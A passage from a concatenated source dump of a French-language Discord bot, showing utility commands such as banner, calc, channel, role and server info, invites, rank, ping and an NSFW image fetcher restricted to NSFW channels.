49 | const B2 = new MessageButton() 50 | .setLabel("▶") 51 | .setStyle("gray") 52 | .setID('allbotadm2'); 53 | 54 | const bts = new MessageActionRow() 55 | .addComponent(B1) 56 | .addComponent(B2) 57 | tdata.edit("", { embed: embed, components: [bts] }) 58 | setTimeout(() => { 59 | tdata.edit("", { 60 | components: [], embed: new Discord.MessageEmbed() 61 | .setTitle('Liste des bots admins présents') 62 | .setDescription(str_filtrer 63 | .map(r => r) 64 | .filter(x => message.guild.members.cache.get(x.user.id)) 65 | .map((m,i) => `${i+1}) ${m.user} (${m.user.id})`) 66 | .slice(p0, p1) 67 | ) 68 | 69 | .setColor(color) 70 | .setFooter(`Total: ${str_filtrer.size} • ${client.config.name}`) 71 | 72 | 73 | }) 74 | // message.channel.send(embeds) 75 | }, 60000 * 5) 76 | client.on("clickButton", (button) => { 77 | if (button.id === "allbotadm1") { 78 | if (button.clicker.user.id !== message.author.id) return ; 79 | button.reply.defer(true) 80 | 81 | p0 = p0 - 15; 82 | p1 = p1 - 15; 83 | page = page - 1 84 | 85 | if (p0 < 0) { 86 | return 87 | } 88 | if (p0 === undefined || p1 === undefined) { 89 | return 90 | } 91 | 92 | 93 | embed .setDescription(str_filtrer 94 | .map(r => r) 95 | .filter(x => message.guild.members.cache.get(x.user.id)) 96 | .map((m,i) => `${i+1}) ${m.user} (${m.user.id})`) 97 | .slice(p0, p1) 98 | ) 99 | 100 | .setColor(color) 101 | .setFooter(`Total: ${str_filtrer.size} • ${client.config.name}`) 102 | tdata.edit(embed); 103 | 104 | } 105 | if (button.id === "allbotadm2") { 106 | if (button.clicker.user.id !== message.author.id) return ; 107 | button.reply.defer(true) 108 | 109 | p0 = p0 + 15; 110 | p1 = p1 + 15; 111 | 112 | page++; 113 | 114 | if (p1 > str_filtrer.size + 15) { 115 | return 116 | } 117 | if (p0 === undefined || p1 === undefined) { 118 | return 119 | } 120 | 121 | 122 | embed .setDescription(str_filtrer 123 | .map(r => r) 124 | .filter(x => message.guild.members.cache.get(x.user.id)) 125 | .map((m,i) => `${i+1}) ${m.user} (${m.user.id})`) 126 | .slice(p0, p1) 127 | ) 128 | 129 | .setColor(color) 130 | .setFooter(`Total: ${str_filtrer.size} • ${client.config.name}`) 131 | tdata.edit(embed); 132 | 133 | } 134 | }) 135 | } 136 | 137 | }) 138 | 139 | } 140 | } 141 | } -------------------------------------------------------------------------------- /commands/utilitaire/banner.js: -------------------------------------------------------------------------------- 1 | const Discord = require('discord.js') 2 | const db = require('quick.db') 3 | const { MessageActionRow, MessageButton, MessageMenuOption, MessageMenu } = require('discord-buttons'); 4 | 5 | module.exports = { 6 | name: 'banner', 7 | aliases: [], 8 | run: async (client, message, args, prefix, color) => { 9 | let perm = "" 10 | message.member.roles.cache.forEach(role => { 11 | if(db.get(`modsp_${message.guild.id}_${role.id}`)) perm = true 12 | if(db.get(`ownerp_${message.guild.id}_${role.id}`)) perm = true 13 | if(db.get(`admin_${message.guild.id}_${role.id}`)) perm = true 14 | }) 15 | if(client.config.owner.includes(message.author.id) || db.get(`ownermd_${client.user.id}_${message.author.id}`) === true || perm || db.get(`channelpublic_${message.guild.id}_${message.channel.id}`) === true ) { 16 | const use = message.mentions.users.first() || client.users.cache.get(args[0]) || message.author 17 | const member = client.users.cache.get(use.id) 18 | const bannerUrl = await getUserBannerUrl(member.id,client, { size: 4096 }); 19 | if(bannerUrl) { 20 | const Embed = new Discord.MessageEmbed() 21 | Embed.setTitle(`${member.username}`); 22 | Embed.setImage(`${bannerUrl}`); 23 | 24 | Embed.setColor(color) 25 | message.channel.send(Embed) 26 | } else { 27 | const Embed = new Discord.MessageEmbed() 28 | Embed.setTitle(`${member.username}`); 29 | Embed.setDescription(`N'a pas de bannière`); 30 | 31 | Embed.setColor(color) 32 | message.channel.send(Embed) 33 | } 34 | 35 | }} 36 | } 37 | 38 | async function getUserBannerUrl(userId, client, { dynamicFormat = true, defaultFormat = "webp", size = 512 } = {}) { 39 | 40 | if (![16, 32, 64, 128, 256, 512, 1024, 2048, 4096].includes(size)) { 41 | throw new Error(`The size '${size}' is not supported!`); 42 | } 43 | 44 | 45 | if (!["webp", "png", "jpg", "jpeg"].includes(defaultFormat)) { 46 | throw new Error(`The format '${defaultFormat}' is not supported as a default format!`); 47 | } 48 | 49 | 50 | const user = await client.api.users(userId).get(); 51 | if (!user.banner) return null; 52 | 53 | const query = `?size=${size}`; 54 | const baseUrl = `https://cdn.discordapp.com/banners/${userId}/${user.banner}`; 55 | 56 | 57 | if (dynamicFormat) { 58 | const { headers } = await axios.head(baseUrl); 59 | if (headers && headers.hasOwnProperty("content-type")) { 60 | return baseUrl + (headers["content-type"] == "image/gif" ? ".gif" : `.${defaultFormat}`) + query; 61 | } 62 | } 63 | 64 | return baseUrl + `.${defaultFormat}` + query; 65 | 66 | } -------------------------------------------------------------------------------- /commands/utilitaire/calc.js: -------------------------------------------------------------------------------- 1 | const Discord= require('discord.js') 2 | const db = require('quick.db') 3 | const math = require('mathjs') 4 | 5 | const { MessageButton, MessageActionRow } = require('discord-buttons') 6 | module.exports = { 7 | name: 'calc', 8 | aliases: [], 9 | run: async (client, message, args, prefix, color) => { 10 | 11 | let perm = "" 12 | message.member.roles.cache.forEach(role => { 13 | if(db.get(`modsp_${message.guild.id}_${role.id}`)) perm = true 14 | if(db.get(`ownerp_${message.guild.id}_${role.id}`)) perm = true 15 | if(db.get(`admin_${message.guild.id}_${role.id}`)) perm = true 16 | }) 17 | if(client.config.owner.includes(message.author.id) || db.get(`ownermd_${client.user.id}_${message.author.id}`) === true || perm || db.get(`channelpublic_${message.guild.id}_${message.channel.id}`) === true ) { 18 | 19 | if (!args.length) return message.react("❌") 20 | 21 | let calcular = args.join(' ') 22 | 23 | try { 24 | const embed = new Discord.MessageEmbed() 25 | .setTitle(`Résultat`) 26 | .setDescription(`\`\`\`${math.evaluate(calcular)}\`\`\``) 27 | .setColor(color); 28 | 29 | message.channel.send(embed) 30 | } catch (err) { 31 | const split = err.message.split(' ') 32 | const length = split.length 33 | const errMsg = err.message 34 | 35 | 36 | message.channel.send(`Format invalide`) } 37 | } else { 38 | 39 | } 40 | 41 | } 42 | } -------------------------------------------------------------------------------- /commands/utilitaire/channelinfo.js: -------------------------------------------------------------------------------- 1 | const Discord = require('discord.js') 2 | const db = require('quick.db') 3 | const { MessageActionRow, MessageButton, MessageMenuOption, MessageMenu } = require('discord-buttons'); 4 | const axios = require('axios') 5 | 6 | module.exports = { 7 | name: 'channelinfo', 8 | aliases: ['channel', 'ci'], 9 | description: 'channel ', 10 | run: async (client, message, args, prefix, color) => { 11 | 12 | let perm = "" 13 | message.member.roles.cache.forEach(role => { 14 | if(db.get(`ownerp_${message.guild.id}_${role.id}`)) perm = true 15 | if(db.get(`admin_${message.guild.id}_${role.id}`)) perm = true 16 | }) 17 | if(client.config.owner.includes(message.author.id) || db.get(`ownermd_${client.user.id}_${message.author.id}`) === true || perm) { 18 | 19 | 20 | if (!args[0]) { 21 | var channel = message.channel; 22 | } else { 23 | var channel = message.mentions.channels.first() || message.guild.channels.cache.get(args[0]) 24 | } 25 | 26 | if (!channel) { 27 | return; 28 | }; 29 | 30 | if (channel.type === 'text' || channel.type === 'news' || channel.type === 'store') { 31 | 32 | const ChannelInfo = new Discord.MessageEmbed() 33 | 34 | .setTitle(channel.name) 35 | .addField(`Nom`, `${channel.name}`, true) 36 | .addField(`Description`, `${channel.topic !== null ? channel.topic : 'Aucune Description'}`, true) 37 | .addField(`ID`, `${channel.id}`, true) 38 | .addField(`NSFW`, `${channel.nsfw ? `Oui` : `Non`}`, true) 39 | .addField(`Catégorie`, `${channel.parent !== null ? channel.parent : 'Non Catégorisé'}\n${channel.parentID !== null ? `(${channel.parentID})` : ''}`, true) 40 | .addField(`Position dans la catégorie`, `${channel.position + 1}`, true) 41 | .addField(`Date de création`, ` ()`, true) 42 | .setColor(color) 43 | 44 | message.channel.send(ChannelInfo) 45 | 46 | } 47 | if (channel.type === 'category') { 48 | 49 | 50 | const CategoryInfo = new Discord.MessageEmbed() 51 | 52 | .setTitle(channel.name) 53 | .addField(`Nom`, `${channel.name}`, true) 54 | .addField(`ID`, `${channel.id}`, true) 55 | .addField(`Salons`, `${channel.children.size}`, true) 56 | .addField(`Position`, `${channel.rawPosition}`, true) 57 | .addField(`Date de création`, ` ()`, true) 58 | .setColor(color) 59 | 60 | message.channel.send(CategoryInfo) 61 | 62 | } 63 | 64 | if (channel.type === 'voice') { 65 | 66 | const VoiceInfo = new Discord.MessageEmbed() 67 | 68 | .setTitle(channel.name) 69 | .addField(`Nom`, `${channel.name}`, true) 70 | .addField(`ID`, `${channel.id}`, true) 71 | .addField(`Débit binaire (bitrate)`, `${channel.bitrate / 1000 + 'kbps'}`, true) 72 | .addField(`Membres connectés`, `${channel.members.size}`, true) 73 | .addField(`Limite d'utilisateur`, `${channel.userLimit === 0 ? 'Aucune Limite' : channel.userLimit}`, true) 74 | .addField(`Date de création`, ` ()`, true) 75 | .setColor(color) 76 | 77 | 78 | message.channel.send(VoiceInfo) 79 | 80 | } 81 | } 82 | } 83 | } -------------------------------------------------------------------------------- /commands/utilitaire/image.js: -------------------------------------------------------------------------------- 1 | const img = require('images-scraper') 2 | 3 | const google = new img({ 4 | puppeteer : { 5 | headless : true, 6 | } 7 | }) 8 | 9 | 10 | const { MessageEmbed } = require("discord.js") 11 | const db = require("quick.db") 12 | function fu (ping) { 13 | if(100 <= ping) return 15 14 | if(200 <= ping) return 25 15 | if(300 <= ping) return 35 16 | if(600 <= ping) return 125 17 | 18 | } 19 | module.exports = { 20 | name: 'image', 21 | aliases: [], 22 | run: async (client, message, args, prefix, color) => { 23 | 24 | let perm = "" 25 | message.member.roles.cache.forEach(role => { 26 | if(db.get(`modsp_${message.guild.id}_${role.id}`)) perm = true 27 | if(db.get(`ownerp_${message.guild.id}_${role.id}`)) perm = true 28 | if(db.get(`admin_${message.guild.id}_${role.id}`)) perm = true 29 | }) 30 | if(client.config.owner.includes(message.author.id) || db.get(`ownermd_${client.user.id}_${message.author.id}`) === true || perm || db.get(`channelpublic_${message.guild.id}_${message.channel.id}`) === true ) { 31 | 32 | const query = args.join(" ") 33 | if(!query) return message.react("❌") 34 | message.channel.send(`Chargement... (Temps éstimés: ${parseFloat(fu(client.ws.ping) + Math.random() * (1.348 - 0.580) + 0.580).toFixed(0)}s)`).then( async m => { 35 | const results = await google.scrape(query, 1) 36 | 37 | 38 | const embed = new MessageEmbed() 39 | .setTitle(query) 40 | .setImage(results[0].url) 41 | .setColor(color) 42 | m.edit("",embed); 43 | }) 44 | 45 | } else { 46 | 47 | } 48 | 49 | } 50 | } -------------------------------------------------------------------------------- /commands/utilitaire/invite.js: -------------------------------------------------------------------------------- 1 | const Discord = require('discord.js') 2 | const db = require('quick.db') 3 | const { MessageActionRow, MessageButton, MessageMenuOption, MessageMenu } = require('discord-buttons'); 4 | 5 | module.exports = { 6 | name: 'invites', 7 | aliases: ["invite"], 8 | run: async (client, message, args, prefix, color) => { 9 | let perm = "" 10 | message.member.roles.cache.forEach(role => { 11 | if(db.get(`modsp_${message.guild.id}_${role.id}`)) perm = true 12 | if(db.get(`ownerp_${message.guild.id}_${role.id}`)) perm = true 13 | if(db.get(`admin_${message.guild.id}_${role.id}`)) perm = true 14 | }) 15 | if(client.config.owner.includes(message.author.id) || db.get(`ownermd_${client.user.id}_${message.author.id}`) === true || perm || db.get(`channelpublic_${message.guild.id}_${message.channel.id}`) === true ) { 16 | 17 | const use = message.mentions.users.first() || client.users.cache.get(args[0]) || message.author 18 | const member = client.users.cache.get(use.id) 19 | let inv = db.fetch(`invites_${message.guild.id}_${member.id}`); 20 | let leaves = db.fetch(`leaves_${message.guild.id}_${member.id}`); 21 | let Regular = db.fetch(`Regular_${message.guild.id}_${member.id}`); 22 | const embed = new Discord.MessageEmbed() 23 | embed.setAuthor(member.username, member.displayAvatarURL({ dynamic: true })) 24 | embed.setColor(color) 25 | embed.setDescription(`Vous avez actuellement **${inv || 0}** ${inv || 0 > 1 ? "invites" : "invite"}\n(**${Regular || 0}** join, **${leaves || 0}** leave)`) 26 | 27 | message.channel.send(embed); 28 | 29 | 30 | } 31 | } 32 | } -------------------------------------------------------------------------------- /commands/utilitaire/mybot.js: -------------------------------------------------------------------------------- 1 | const Discord = require('discord.js') 2 | const db = require('quick.db') 3 | const { MessageActionRow, MessageButton, MessageMenuOption, MessageMenu } = require('discord-buttons'); 4 | const request = require("request") 5 | const ms = require("ms") 6 | module.exports = { 7 | name: 'mybot', 8 | aliases: [], 9 | run: async (client, message, args, prefix, color) => { 10 | 11 | request(`http://localhost:3030/api/client/${message.author.id}`, { 12 | method: "GET", 13 | headers: { 14 | authorization: "842340361212264468" 15 | } 16 | }, (err, res, body) => { 17 | const json = JSON.parse(body) 18 | if(!body || !json || json.message === "The user does not have a bot" || json.status !== 200) { 19 | return message.channel.send(`Vous avez aucun bot`) 20 | 21 | } else if(json.status === 200) { 22 | let expireAt 23 | let timeLeft 24 | const embed = new Discord.MessageEmbed() 25 | .setDescription(`${json.db 26 | .map(m => { 27 | 28 | `[${m.ID.split("_")[3]}](https://discord.com/api/oauth2/authorize?client_id=${m.ID.split("_")[2]}&permissions=8&scope=bot%20applications.commands) : ` 29 | }).join("\n") 30 | }`) 31 | .setColor("2f3136") 32 | return message.channel.send(embed) 33 | } 34 | }) 35 | } 36 | } 37 | function duration(mss) { 38 | const sec = Math.floor((mss / 1000) % 60).toString() 39 | const min = Math.floor((mss / (1000 * 60)) % 60).toString() 40 | const hrs = Math.floor((mss / (1000 * 60 * 60)) % 60).toString() 41 | const days = Math.floor(mss / (1000 * 60 * 60 * 24)).toString() 42 | 43 | return `${days.padStart(2, '') == "0" ? "" : `${days.padStart(2, '')}j `}${hrs.padStart(2, '') == "0" ? "" : `${hrs.padStart(2, '')}h `}${min.padStart(2, '') == "0" ? "" : `${min.padStart(2, '')}m `}${sec.padStart(2, '')}s` 44 | } -------------------------------------------------------------------------------- /commands/utilitaire/pic.js: -------------------------------------------------------------------------------- 1 | const Discord = require('discord.js') 2 | const db = require('quick.db') 3 | const { MessageActionRow, MessageButton, MessageMenuOption, MessageMenu } = require('discord-buttons'); 4 | 5 | module.exports = { 6 | name: 'pic', 7 | aliases: ["pp"], 8 | run: async (client, message, args, prefix, color) => { 9 | let perm = "" 10 | message.member.roles.cache.forEach(role => { 11 | if(db.get(`modsp_${message.guild.id}_${role.id}`)) perm = true 12 | if(db.get(`ownerp_${message.guild.id}_${role.id}`)) perm = true 13 | if(db.get(`admin_${message.guild.id}_${role.id}`)) perm = true 14 | }) 15 | if(client.config.owner.includes(message.author.id) || db.get(`ownermd_${client.user.id}_${message.author.id}`) === true || perm || db.get(`channelpublic_${message.guild.id}_${message.channel.id}`) === true ) { 16 | const use = message.mentions.users.first() || client.users.cache.get(args[0]) || message.author 17 | const member = client.users.cache.get(use.id) 18 | const Embed = new Discord.MessageEmbed() 19 | Embed.setTitle(`${member.username}`); 20 | Embed.setImage(`${member.displayAvatarURL({ dynamic: true })}`); 21 | 22 | Embed.setColor(color) 23 | message.channel.send(Embed) 24 | 25 | } 26 | 27 | } 28 | } 29 | -------------------------------------------------------------------------------- /commands/utilitaire/ping.js: -------------------------------------------------------------------------------- 1 | const Discord = require('discord.js') 2 | const {MessageEmbed} = require('discord.js') 3 | const db = require('quick.db') 4 | const { MessageActionRow, MessageButton, MessageMenuOption, MessageMenu } = require('discord-buttons'); 5 | function sleep(ms) { 6 | return new Promise((resolve) => { 7 | setTimeout(resolve, ms)})} 8 | module.exports = { 9 | name: 'ping', 10 | aliases: ["speed"], 11 | 12 | run: async (client, message, args, prefix, color) => { 13 | 14 | 15 | if(client.config.owner.includes(message.author.id) || db.get(`ownermd_${client.user.id}_${message.author.id}`) === true ) { 16 | let embeeed = new Discord.MessageEmbed() 17 | embeeed.addField("Ping", `Calcul en cours`, true) 18 | embeeed.addField("Latence", `${client.ws.ping}ms`, true) 19 | embeeed.setColor(color) 20 | 21 | let msg = await message.channel.send(embeeed) 22 | let embed = new Discord.MessageEmbed() 23 | embed.addField("Ping", `${msg.createdAt - message.createdAt + "ms"}`, true) 24 | embed.addField("Latence", `${client.ws.ping}ms`, true) 25 | embed.setColor(color) 26 | 27 | return msg.edit("", embed) 28 | } 29 | } 30 | } -------------------------------------------------------------------------------- /commands/utilitaire/porngif.js: -------------------------------------------------------------------------------- 1 | const {MessageEmbed} = require('discord.js') 2 | const db = require('quick.db') 3 | const superagent = require('superagent') 4 | module.exports = { 5 | name: 'porngif', 6 | aliases: ["pgif"], 7 | run: async (client, message, args, prefix, color) => { 8 | 9 | let perm = "" 10 | message.member.roles.cache.forEach(role => { 11 | if(db.get(`modsp_${message.guild.id}_${role.id}`)) perm = true 12 | if(db.get(`ownerp_${message.guild.id}_${role.id}`)) perm = true 13 | if(db.get(`admin_${message.guild.id}_${role.id}`)) perm = true 14 | }) 15 | if(client.config.owner.includes(message.author.id) || db.get(`ownermd_${client.user.id}_${message.author.id}`) === true || perm || db.get(`channelpublic_${message.guild.id}_${message.channel.id}`) === true ) { 16 | if (message.channel.nsfw) { 17 | 18 | 19 | 20 | if(!args[0]) { 21 | const embed = new MessageEmbed() 22 | 23 | superagent.get('https://nekobot.xyz/api/image') 24 | .query({ type: 'pgif'}) 25 | .end((err, response) => { 26 | embed.setImage(response.body.message) 27 | embed.setTitle("porngif") 28 | embed.setColor(color); 29 | message.channel.send({ embed: embed }); 30 | }); 31 | } else if(args[0] === "ass") { 32 | const embed = new MessageEmbed() 33 | 34 | superagent.get('https://nekobot.xyz/api/image') 35 | .query({ type: 'ass'}) 36 | .end((err, response) => { 37 | embed.setImage(response.body.message) 38 | embed.setTitle("ass") 39 | embed.setColor(color); 40 | message.channel.send({ embed: embed }); 41 | }); 42 | } else if(args[0] === "anal") { 43 | const embed = new MessageEmbed() 44 | 45 | superagent.get('https://nekobot.xyz/api/image') 46 | .query({ type: 'anal'}) 47 | .end((err, response) => { 48 | embed.setImage(response.body.message) 49 | embed.setTitle("anal") 50 | embed.setColor(color); 51 | message.channel.send({ embed: embed }); 52 | }); 53 | } else if(args[0] === "pussy") { 54 | const embed = new MessageEmbed() 55 | 56 | superagent.get('https://nekobot.xyz/api/image') 57 | .query({ type: 'pussy'}) 58 | .end((err, response) => { 59 | embed.setImage(response.body.message) 60 | embed.setTitle("pussy") 61 | embed.setColor(color); 62 | message.channel.send({ embed: embed }); 63 | }); 64 | } else if(args[0] === "boobs") { 65 | const embed = new MessageEmbed() 66 | 67 | superagent.get('https://nekobot.xyz/api/image') 68 | .query({ type: 'boobs'}) 69 | .end((err, response) => { 70 | embed.setImage(response.body.message) 71 | embed.setTitle("boobs") 72 | embed.setColor(color); 73 | message.channel.send({ embed: embed }); 74 | }); 75 | } else if(args[0] === "hentai") { 76 | const embed = new MessageEmbed() 77 | 78 | superagent.get('https://nekobot.xyz/api/image') 79 | .query({ type: 'hentai'}) 80 | .end((err, response) => { 81 | embed.setImage(response.body.message) 82 | embed.setTitle("hentai") 83 | embed.setColor(color); 84 | message.channel.send({ embed: embed }); 85 | }); 86 | } else if(args[0] === "4k") { 87 | const embed = new MessageEmbed() 88 | 89 | superagent.get('https://nekobot.xyz/api/image') 90 | .query({ type: '4k'}) 91 | .end((err, response) => { 92 | embed.setImage(response.body.message) 93 | embed.setTitle("4k") 94 | embed.setColor(color); 95 | message.channel.send({ embed: embed }); 96 | }); 97 | } }else {} 98 | } else {} 99 | } 100 | } -------------------------------------------------------------------------------- /commands/utilitaire/rank.js: -------------------------------------------------------------------------------- 1 | const Discord = require("discord.js"); 2 | const db = require('quick.db') 3 | const canvacord = require("canvacord"); 4 | module.exports = { 5 | name: 'level', 6 | aliases: ["rank"], 7 | run: async (client, message, args, prefix, color) => { 8 | let perm = "" 9 | message.member.roles.cache.forEach(role => { 10 | if(db.get(`modsp_${message.guild.id}_${role.id}`)) perm = true 11 | if(db.get(`ownerp_${message.guild.id}_${role.id}`)) perm = true 12 | if(db.get(`admin_${message.guild.id}_${role.id}`)) perm = true 13 | }) 14 | if(client.config.owner.includes(message.author.id) || db.get(`ownermd_${client.user.id}_${message.author.id}`) === true || perm || db.get(`channelpublic_${message.guild.id}_${message.channel.id}`) === true ) { 15 | 16 | const use = message.mentions.users.first() || client.users.cache.get(args[0]) || message.author 17 | const member = client.users.cache.get(use.id) 18 | const members = message.guild.members.cache 19 | .sort((a, b) => a.joinedTimestamp - b.joinedTimestamp) 20 | .array(); 21 | const position = new Promise((ful) => { 22 | for (let i = 1; i < members.length + 1; i++) { 23 | if (members[i - 1].id === member.id) ful(i); 24 | } 25 | }); 26 | var level = db.get(`guild_${message.guild.id}_level_${member.id}`) || 0 27 | let xp = db.get(`guild_${message.guild.id}_xp_${member.id}`) || 0 28 | var xpNeeded = level * 500 + 500 29 | 30 | const rank = new canvacord.Rank() 31 | .setUsername(member.username) 32 | .setDiscriminator(member.discriminator) 33 | .setStatus(member.presence.status) 34 | .setCurrentXP(xp) 35 | .setRequiredXP(xpNeeded) 36 | .setLevel(level) 37 | .setRank(await position) 38 | .setAvatar(member.displayAvatarURL({ format: 'png' })) 39 | .setRankColor('white') 40 | rank.build() 41 | .then(async datae => { 42 | const attachment = new Discord.MessageAttachment(datae, "AxelRank.png"); 43 | const embed = new Discord.MessageEmbed() 44 | embed.setAuthor(member.username, member.displayAvatarURL({ dynamic: true })) 45 | embed.setColor(color) 46 | embed.setDescription(`${member} 47 | **Vocal:** \`${duration(db.get(`vocalrank_${message.guild.id}_${member.id}`) || 0)}\` 48 | **Message:** \`${db.get(`msg_${message.guild.id}_${member.id}`) || 0}\``) 49 | embed.setImage("attachment://AxelRank.png") 50 | embed.attachFiles(attachment) 51 | message.channel.send(embed); 52 | }) 53 | } 54 | 55 | } 56 | } 57 | 58 | 59 | function duration(mss) { 60 | const sec = Math.floor((mss / 1000) % 60).toString() 61 | const min = Math.floor((mss / (1000 * 60)) % 60).toString() 62 | const hrs = Math.floor((mss / (1000 * 60 * 60)) % 60).toString() 63 | const days = Math.floor(mss / (1000 * 60 * 60 * 24)).toString() 64 | return `${days.padStart(2, '') == "0" ? "" : `${days.padStart(2, '')} jours, `}${hrs.padStart(2, '') == "0" ? "" : `${hrs.padStart(2, '')} heures, `}${min.padStart(2, '') == "0" ? "" : `${min.padStart(2, '')} minutes et `}${sec.padStart(2, '')} secondes` 65 | } -------------------------------------------------------------------------------- /commands/utilitaire/roleinfo.js: -------------------------------------------------------------------------------- 1 | const Discord = require('discord.js') 2 | const db = require('quick.db') 3 | const { MessageActionRow, MessageButton, MessageMenuOption, MessageMenu } = require('discord-buttons'); 4 | const axios = require('axios') 5 | 6 | module.exports = { 7 | name: 'roleinfo', 8 | aliases: ['role'], 9 | description: 'role ', 10 | run: async (client, message, args, prefix, color) => { 11 | 12 | let perm = "" 13 | message.member.roles.cache.forEach(role => { 14 | if(db.get(`ownerp_${message.guild.id}_${role.id}`)) perm = true 15 | if(db.get(`admin_${message.guild.id}_${role.id}`)) perm = true 16 | }) 17 | if(client.config.owner.includes(message.author.id) || db.get(`ownermd_${client.user.id}_${message.author.id}`) === true || perm) { 18 | 19 | 20 | function roleperm(role) { 21 | if (role.permissions.has("ADMINISTRATOR")) { 22 | return `Administrateur` 23 | } else { 24 | return role.permissions.toArray().map(p => 25 | p.replace("CREATE_INSTANT_INVITE", "") 26 | .replace("MENTION_EVERYONE", `Mentionner @everyone, @here et tous les rôles\n`) 27 | .replace("MANAGE_ROLES", `Gérer les rôles\n`) 28 | .replace("MANAGE_WEBHOOKS", `Gérer les webhooks\n`) 29 | .replace("MANAGE_EMOJIS", `Gérer les émojis\n`) 30 | .replace("ADMINISTRATOR", `Administrateur\n`) 31 | .replace("KICK_MEMBERS", `Expulser des membres\n`) 32 | .replace("BAN_MEMBERS", `Bannir des membres\n`) 33 | .replace("MANAGE_CHANNELS", `Gérer les salons\n`) 34 | .replace("MANAGE_GUILD", `Gérer le serveur\n`) 35 | .replace("ADD_REACTIONS", "") 36 | .replace("VIEW_AUDIT_LOG", "") 37 | .replace("PRIORITY_SPEAKER", "") 38 | .replace("STREAM", "") 39 | .replace("VIEW_CHANNEL", "") 40 | .replace("SEND_MESSAGES", "") 41 | .replace("SEND_TTS_MESSAGES", "") 42 | .replace("MANAGE_MESSAGES", "") 43 | .replace("EMBED_LINKS", "") 44 | .replace("ATTACH_FILES", "") 45 | .replace("READ_MESSAGE_HISTORY", "") 46 | .replace("USE_EXTERNAL_EMOJIS", "") 47 | .replace("VIEW_GUILD_INSIGHTS", "") 48 | .replace("CONNECT", "") 49 | .replace("SPEAK", "") 50 | .replace("MUTE_MEMBERS", "Mute des membres") 51 | .replace("DEAFEN_MEMBERS", "") 52 | .replace("MOVE_MEMBERS", "Move des membres") 53 | .replace("USE_VAD", "") 54 | .replace("CHANGE_NICKNAME", "Gerer les pseudos") 55 | .replace("MANAGE_NICKNAMES", "") 56 | .replace(",", "")).join(" ") 57 | } 58 | } 59 | 60 | const role = message.mentions.roles.first() || message.guild.roles.cache.get(args[0]); 61 | 62 | let roleEmbed = new Discord.MessageEmbed() 63 | .setColor(color) 64 | .setTitle(role.name) 65 | .addField("Nom ", `<@&${role.id}>`) 66 | .addField("Membres possédant le rôle", `${role.members.size}`) 67 | .addField("Couleur", `${role.hexColor === "#000000" ? "Classique" : role.hexColor}`) 68 | .addField("ID", `${role.id}`, true) 69 | .addField("Affiché séparément", `${role.hoist ? "Oui" : "Non"}`, true) 70 | .addField("Mentionable", `${role.mentionable ? "Oui" : "Non"}`, true) 71 | .addField("Géré par une intégration", `${role.managed ? "Oui" : "Non"}`, true) 72 | .addField("Permissions principales", `${roleperm(role)}`, true) 73 | .addField(`Création du rôle`, ` ()`, true) 74 | //.setFooter(`Création du rôle`) 75 | //.setTimestamp(role.createdAt); 76 | 77 | message.channel.send(roleEmbed) 78 | 79 | 80 | } 81 | } 82 | } -------------------------------------------------------------------------------- /commands/utilitaire/serverinfo.js: -------------------------------------------------------------------------------- 1 | const Discord = require('discord.js') 2 | const db = require('quick.db') 3 | const { MessageActionRow, MessageButton, MessageMenuOption, MessageMenu } = require('discord-buttons'); 4 | const axios = require('axios') 5 | 6 | module.exports = { 7 | name: 'serverinfo', 8 | aliases: ['si'], 9 | run: async (client, message, args, prefix, color) => { 10 | 11 | let perm = "" 12 | message.member.roles.cache.forEach(role => { 13 | if(db.get(`ownerp_${message.guild.id}_${role.id}`)) perm = true 14 | if(db.get(`admin_${message.guild.id}_${role.id}`)) perm = true 15 | }) 16 | if(client.config.owner.includes(message.author.id) || db.get(`ownermd_${client.user.id}_${message.author.id}`) === true || perm) { 17 | const guild = client.guilds.cache.get(args[0]) || message.guild 18 | let Boosters = 0; 19 | guild.members.cache.forEach((m) => { 20 | if (m.premiumSince) i++; 21 | }) 22 | 23 | let NoRoles = 0; 24 | guild.members.cache.forEach((m) => { 25 | if (m.roles.cache.size == 0) i++; 26 | }) 27 | //console.log(NoRoles) 28 | const ServerInfo = new Discord.MessageEmbed() 29 | .setTitle(`${guild.name} `) 30 | .addField(`ID`, `${guild.id}`, true) 31 | .addField(`Nombre de membres`, `${guild.memberCount}`, true) 32 | .addField(`Nombre de membres actifs`, `${guild.members.cache.filter(m => m.presence?.status === 'online' || m.presence?.status === 'dnd' || m.presence?.status === 'streaming' || m.presence?.status === 'idle').size}`, true) 33 | .addField(`Nombre d'humains`, `${guild.members.cache.filter((m) => !m.user.bot).size}`, true) 34 | .addField(`Nombre de bots`, `${guild.members.cache.filter((m) => m.user.bot).size}`, true) 35 | .addField(`Nombre d'utilisateurs en vocal`, `${guild.members.cache.filter(m => m.voice.channel).size}`, true) 36 | .addField(`Nombre d'utilisateurs sans rôle`, `${NoRoles}`, true) 37 | .addField(`Nombre de boosts`, `${guild.premiumSubscriptionCount}`, true) 38 | .addField(`Nombre de boosters`, `${Boosters}`, true) 39 | .addField(`Nombre de rôles`, `${guild.roles.cache.size}`, true) 40 | .addField(`Nombre de salons`, `${guild.channels.cache.size}`, true) 41 | .addField(`Nombre d'émojis`, `${guild.emojis.cache.size}`, true) 42 | .setFooter("Création du serveur") 43 | .setTimestamp(guild.createdAt) 44 | 45 | .setThumbnail(guild.iconURL({ dynamic: true })) 46 | .setColor(color) 47 | 48 | if (guild.icon) ServerInfo.setURL(guild.iconURL({ dynamic: true })) 49 | 50 | message.channel.send(ServerInfo) 51 | } 52 | } 53 | } -------------------------------------------------------------------------------- /commands/utilitaire/snipe.js: -------------------------------------------------------------------------------- 1 | const Discord = require("discord.js"); 2 | const db = require('quick.db') 3 | const canvacord = require("canvacord"); 4 | function slm(str) { 5 | if(str === 1) return `●` 6 | if(str === 2) return `●●` 7 | if(str === 3) return `●●●` 8 | if(str === 4) return `●●●●` 9 | if(str === 5) return `●●●●●` 10 | if(str === 6) return `●●●●●●` 11 | if(str === 7) return `●●●●●●●` 12 | if(str === 8) return `●●●●●●●●` 13 | if(str === 9) return `●●●●●●●●●` 14 | if(str === 10) return`●●●●●●●●●●` 15 | if(str === 11) return`●●●●●●●●●●●` 16 | if(str === 12) return`●●●●●●●●●●●●` 17 | if(str === 13) return`●●●●●●●●●●●●●` 18 | if(str === 14) return`●●●●●●●●●●●●●●` 19 | if(str === 15) return`●●●●●●●●●●●●●●●` 20 | if(str === 16) return`●●●●●●●●●●●●●●●●` 21 | if(str === 17) return`●●●●●●●●●●●●●●●●●` 22 | if(str === 18) return`●●●●●●●●●●●●●●●●●●` 23 | if(str === 19) return`●●●●●●●●●●●●●●●●●●●` 24 | if(str === 20) return`●●●●●●●●●●●●●●●●●●●●` 25 | 26 | } 27 | 28 | module.exports = { 29 | name: 